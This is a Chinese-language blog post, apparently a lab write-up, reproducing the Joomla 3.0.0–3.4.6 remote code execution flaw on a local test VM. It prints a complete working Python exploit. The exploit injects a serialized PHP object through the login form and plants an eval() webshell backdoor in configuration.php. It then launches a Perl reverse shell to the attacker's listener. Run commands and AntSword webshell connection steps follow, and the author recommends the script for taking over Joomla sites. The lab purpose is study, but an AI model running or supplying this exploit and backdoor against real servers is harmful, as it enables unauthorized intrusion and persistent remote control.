Joomla框架搭建&远程代码执行(RCE)漏洞复现

一、漏洞描述

Joomla是一套内容管理系统,是使用PHP语言加上MYSQL数据库所开发的软件系统,最新版本为3.9.8,官网: https://downloads.joomla.org/,漏洞位于根目录下的configuration.php,由于该CMS对函数过滤不严格,导致了远程代码执行漏洞,该漏洞可能导致服务器被入侵、信息泄露等严重风险。

二、漏洞影响版本

Joomla 3.0.0-3.4.6

三、漏洞环境搭建
靶机:WIN10 192.168.10.13
攻击机:kali 192.168.1.110 -> 192.168.10.9(这个地方为什么ip要改后文会提到)

1.下载Joomla3.4.6,链接如下:

https://downloads.joomla.org/cms/joomla3/3-4-6

PS:因为此漏洞影响的版本为Joomla3.0.0-3.4.6,所以一定要下载这个区间以内的joomla进行安装测试,否则测试会失败,我第一次用的是joomla最新的3.9.8版本测试失败,所以特地把链接附上
在这里插入图片描述
2.安装环境,joomla的环境是需要wamp环境,但是自己配置wamp环境太麻烦,所以我们选用phpstudy集成环境,这里多提一句为什么不用wamp,因为我最开始用的wamp,如果你的靶机里面没有C++库的合集,就还需要安装C++库,而且会碰到各种奇奇怪怪的问题(别问我为什么知道的,因为我最先开始安装的就是wamp),所以这里选用phpstudy

这个地方又有一个问题,为什么不选择最新的phpstudy_pro,因为我没有找到phpstudy_pro的php后台管理页面,把pro下载了重新下载的2018版本,下载完成后如下图:

在这里插入图片描述

点击MySQL管理器,点击phpMyAdmin进入管理页面

在这里插入图片描述

phpstudy的默认初始帐号密码都是root登陆即可

在这里插入图片描述

这里我们随便新建一个数据库
在这里插入图片描述

然后把最开始下载好的Joomla安装包放到phpstudy的WWW目录下

在这里插入图片描述

打开浏览器访问这个目录即可进入Joomla的安装界面

在这里插入图片描述

这个页面随便填都可以,因为我们是本地测试环境所以这些信息都可以随便填,但是如果是要真正把Joomla放到公网上别人能够访问,那么你填写信息的时候一定要注意,因为你一旦放到公网上,别人抓到了你的漏洞,就能够通过这个web漏洞进入你的内网

在这里插入图片描述

记住数据库用户名和密码即可

在这里插入图片描述

这个地方注意一下,如果不是复现Joomla漏洞的话这个地方是选第三个选项的,可以理解为有些工作人员的操作失误导致了这个漏洞的产生

在这里插入图片描述
最后设置如下

在这里插入图片描述

点击确定即可成功安装网站

在这里插入图片描述

安装后必须要删除目录才行,否则无法继续进行测试

在这里插入图片描述
打开Joomla的主界面如下:

在这里插入图片描述

这个地方我首先进行下一步测试,但是始终卡在第一个建立会话连接的地方,所以应该是有问题的,因为始终对话连接建立不上,所以肯定第一个想的就是这两台主机能不能够ping通,首先我在w10上ping了一下kali发现是通的

在这里插入图片描述但是在kali上ping w10却是ping不通的,这个地方主要看一下ping命令给我们返回的信息:

来自118这个ip的回复TTL传输过期在这里插入图片描述

那么造成这个TTL传输过期的原因就是这两台主机不在同一网段,我的W10是在192.168.10.x这个网段,而我的kali是在192.168.1.x这个网段,因为子网掩码都是255.255.255.0,所以他们的网络地址是肯定不相同的,不同网段之间传输的数据肯定是不可达的

PS:这里多提一个知识点,在进行内网渗透的时候,因为我们跟内网主机是不同网段,所以我们之间肯定是不能传输数据的,所以这时候就要借助一个跳板来进行转发,那么就是公网的主机

查看了一下我的虚拟机是用的桥接模式,直接把他改成NAT模式

在这里插入图片描述

重启之后IP地址如下,使用nat模式的情况下默认是不会给你配ip的,因为没有dhcp服务,要自行设置ip地址跟网关

在这里插入图片描述

因为我的W10是在192.168.10.x这个网段,所以我只要值10这个网段设置一个ip就能够与W10进行数据传输了,可能大家会疑惑,这个地方的网关地址要怎么设置呢?

在这里插入图片描述

打开VM的虚拟网络编辑器,查看NAT模式下划分的子网地址,这个地方我设置的是192.168.10.x这个段,也就是说只要虚拟机使用的是NAT这个模式,我都要把他们的IP配到192.168.10.x这个段下,网关地址的话继续点击NAT设置进行查看

在这里插入图片描述

这里我将网关地址设置的是192.168.10.254

在这里插入图片描述

设置好之后重启一下网络连接,发现能够ping通w10了

在这里插入图片描述

然后开始进行joomla的漏洞复现
脚本如下:

#!/usr/bin/env python3
 
import requests
from bs4 import BeautifulSoup
from colorama import init
import sys
import string
import random
import argparse
from termcolor import colored
 
init(autoreset=True)
PROXS = {'http':'127.0.0.1:8080'}
PROXS = {}
 
def random_string(stringLength):
        letters = string.ascii_lowercase
        return ''.join(random.choice(letters) for i in range(stringLength))
 
 
backdoor_param = random_string(50)
 
def print_info(str):
        print(colored("[*] " + str,"cyan"))
 
def print_ok(str):
        print(colored("[+] "+ str,"green"))
 
def print_error(str):
        print(colored("[-] "+ str,"red"))
 
def print_warning(str):
        print(colored("[!!] " + str,"yellow"))
 
def get_token(url, cook):
        token = ''
        resp = requests.get(url, cookies=cook, proxies = PROXS)
        html = BeautifulSoup(resp.text,'html.parser')
        # csrf token is the last input
        for v in html.find_all('input'):
                csrf = v
        csrf = csrf.get('name')
        return csrf
 
 
def get_error(url, cook):
        resp = requests.get(url, cookies = cook, proxies = PROXS)
        if 'Failed to decode session object' in resp.text:
                #print(resp.text)
                return False
        #print(resp.text)
        return True
 
 
def get_cook(url):
        resp = requests.get(url, proxies=PROXS)
        #print(resp.cookies)
        return resp.cookies
 
 
def gen_pay(function, command):
        # Generate the payload for call_user_func('FUNCTION','COMMAND')
        template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
        #payload =  command + ' || $a=\'http://wtf\';'
        payload =  'http://l4m3rz.l337/;' + command
        # Following payload will append an eval() at the enabled of the configuration file
        #payload =  'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'test\\\'])) eval($_POST[\\\'test\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'
        function_len = len(function)
        final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))
        return final
 
def make_req(url , object_payload):
        # just make a req with object
        print_info('Getting Session Cookie ..')
        cook = get_cook(url)
        print_info('Getting CSRF Token ..')
        csrf = get_token( url, cook)
 
        user_payload = '\\0\\0\\0' * 9
        padding = 'AAA' # It will land at this padding
        working_test_obj = 's:1:"A":O:18:"PHPObjectInjection":1:{s:6:"inject";s:10:"phpinfo();";}'
        clean_object = 'A";s:5:"field";s:10:"AAAAABBBBB' # working good without bad effects
 
        inj_object = '";'
        inj_object += object_payload
        inj_object += 's:6:"return";s:102:' # end the object with the 'return' part
        password_payload = padding + inj_object
        params = {
            'username': user_payload,
            'password': password_payload,
            'option':'com_users',
            'task':'user.login',
            csrf :'1'
            }
 
        print_info('Sending request ..')
        resp  = requests.post(url, proxies = PROXS, cookies = cook,data=params)
        return resp.text
 
def get_backdoor_pay():
        # This payload will backdoor the the configuration .PHP with an eval on POST request
 
        function = 'assert'
        template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
        # payload =  command + ' || $a=\'http://wtf\';'
        # Following payload will append an eval() at the enabled of the configuration file
        payload =  'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'' + backdoor_param +'\\\'])) eval($_POST[\\\''+backdoor_param+'\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'
        function_len = len(function)
        final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))
        return final
 
def check(url):
        check_string = random_string(20)
        target_url = url + 'index.php/component/users'
        html = make_req(url, gen_pay('print_r',check_string))
        if check_string in html:
                return True
        else:
                return False
 
def ping_backdoor(url,param_name):
        res = requests.post(url + '/configuration.php', data={param_name:'echo \'PWNED\';'}, proxies = PROXS)
        if 'PWNED' in res.text:
                return True
        return False
 
def execute_backdoor(url, payload_code):
        # Execute PHP code from the backdoor
        res = requests.post(url + '/configuration.php', data={backdoor_param:payload_code}, proxies = PROXS)
        print(res.text)
 
def exploit(url, lhost, lport):
        # Exploit the target
        # Default exploitation will append en eval function at the end of the configuration.pphp
        # as a bacdoor. btq if you do not want this use the funcction get_pay('php_function','parameters')
        # e.g. get_payload('system','rm -rf /')
 
        # First check that the backdoor has not been already implanted
        target_url = url + 'index.php/component/users'
 
        make_req(target_url, get_backdoor_pay())
        if ping_backdoor(url, backdoor_param):
                print_ok('Backdoor implanted, eval your code at ' + url + '/configuration.php in a POST with ' + backdoor_param)
                print_info('Now it\'s time to reverse, trying with a system + perl')
                execute_backdoor(url, 'system(\'perl -e \\\'use Socket;$i="'+ lhost +'";$p='+ str(lport) +';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\\\'\');')
 
 
if __name__ == '__main__':
        parser = argparse.ArgumentParser()
        parser.add_argument('-t','--target',required=True,help='Joomla Target')
        parser.add_argument('-c','--check', default=False, action='store_true', required=False,help='Check only')
        parser.add_argument('-e','--exploit',default=False,action='store_true',help='Check and exploit')
        parser.add_argument('-l','--lhost', required='--exploit' in sys.argv, help='Listener IP')
        parser.add_argument('-p','--lport', required='--exploit' in sys.argv, help='Listener port')
        args = vars(parser.parse_args())
 
        url = args['target']
        if(check(url)):
                print_ok('Vulnerable')
                if args['exploit']:
                        exploit(url, args['lhost'], args['lport'])
                else:
                        print_info('Use --exploit to exploit it')
 
        else:
                print_error('Seems NOT Vulnerable ;/')
                

复制粘贴后生成一个名叫joomla3.4.6-rce.py的文件,执行如下语句:

python3 joomla3.4.6-rce.py -t http://192.168.10.13/Joomla/

这个地方有两个注意的地方,第一个是我的Joomla开头J是大写是因为我的这个文件夹命名的时候是以大写的J命名,所以要以文件夹名称为准,第二个就是结尾处一定要带上/,看一下下图的报错
在这里插入图片描述
这个报错seems not vulnerable ;/

似乎是没有可利用的,后面加了个/,意思是让我们把/加在后面,为什么要加这个/的原因,我查阅资料后发现在py脚本里面会有字符串的拼接,如果不加/会导致字符串拼接失败

加上/之后发现回显Vulunerable,可以利用漏洞
在这里插入图片描述
使用py脚本生成一个木马,并打开攻击机的某个端口进行监听

在这里我用的是kali的9999端口,语句如下:

python3 joomla3.4.6-rce.py -t http://192.168.10.13/Joomla/ --exploit --lhost 192.168.10.9 --lport 9999

这个地方回等他跑完,我们看一下这个绿色语句,他的意思是说我已经生成了一个名叫configuration的php放在了Joomla这个目录下面,with后面的暂时我还不知道是什么含义
在这里插入图片描述
本着追根溯源的想法,我在win10打开了这个php,发现这个php应该是原本存在的,只不过这个py在他的最后一行加了一个eval语句

婷婷,这个地方的语句是不是有点眼熟

没错这个就是php的一句话木马,所以这个地方直接上蚁剑连接这个一句话木马就能拿到webshell了

在这里插入图片描述
在这里插入图片描述

复制URL和密码到蚁剑,试了几次发现连接不上,又来排查问题所在

在这里插入图片描述
在这里插入图片描述

因为看到报错是timeout:10000,所以自然想到这两个主机是不是不能相互传递数据,果然报错都是一模一样的TTL传输过期

在这里插入图片描述

查看了一下我物理机的网段,是在192.168.1.x这个网段,所以肯定是不能够建立连接的
在这里插入图片描述
因为其他的虚拟机都没有装蚁剑,所以这个地方最后上马进webshell的页面就借用其他博主的一张图,理论上应该是能够进的
在这里插入图片描述

总结一下:
虚拟机的网段尽量跟物理机保持一致,因为某些实验会在物理机跟虚拟机之间进行,另外就是在装虚拟机配ip的时候一定要根据虚拟网络编辑器里面的ip来配

这种joomla的框架,在打一些比赛需要拿网站的时候,如果碰到joomla框架,直接拿py去扫,就可以直接拿到webshell进内网,所以注重知识的积累还是很重要的

菜狗不断提升自己中…

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
如果您想使用自己的代码建立Joomla网站,可以按照以下步骤进行操作: 1. 创建Joomla安装环境:将Joomla安装文件上传到您的Web服务器,并按照安装指南进行安装。确保您的服务器环境满足Joomla的最低要求。 2. 创建自定义模板:在Joomla安装目录的/templates文件夹中创建一个新的文件夹,用于存放您的自定义模板文件。在该文件夹中创建一个index.php文件,作为您的模板的入口文件。 3. 编写模板代码:使用HTML、CSS和PHP等技术编写模板代码。您可以根据自己的需求和设计来创建网站的布局、样式和功能。在index.php文件中,您可以使用Joomla提供的模板标记和函数来获取内容并将其渲染到网页中。 4. 创建模块和组件:如果您需要自定义模块或组件,可以在Joomla安装目录的/modules和/components文件夹中创建相应的文件夹,并在其中编写您的代码。根据Joomla的开发文档和API参考,您可以创建自己的模块和组件来扩展Joomla的功能。 5. 安装和启用模板、模块和组件:登录Joomla后台管理界面,选择“扩展”选项卡,然后选择“模板管理”、“模块管理”或“组件管理”,分别安装和启用您创建的模板、模块和组件。 6. 添加内容和配置网站:使用Joomla的后台管理界面,您可以添加网站内容、创建菜单和配置网站设置。根据您的自定义代码和需求,使用Joomla提供的功能来管理和展示内容。 7. 测试和优化:在网站开发完成后,进行测试并进行必要的调整和优化。确保您的网站在不同浏览器和设备上都能正常显示和运行。 这些是使用自己的代码建立Joomla网站的基本步骤。请注意,使用自定义代码需要一定的编程知识和经验。在开发过程中,您可以参考Joomla的开发文档和社区资源,以获取更多关于Joomla开发的指导和帮助。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值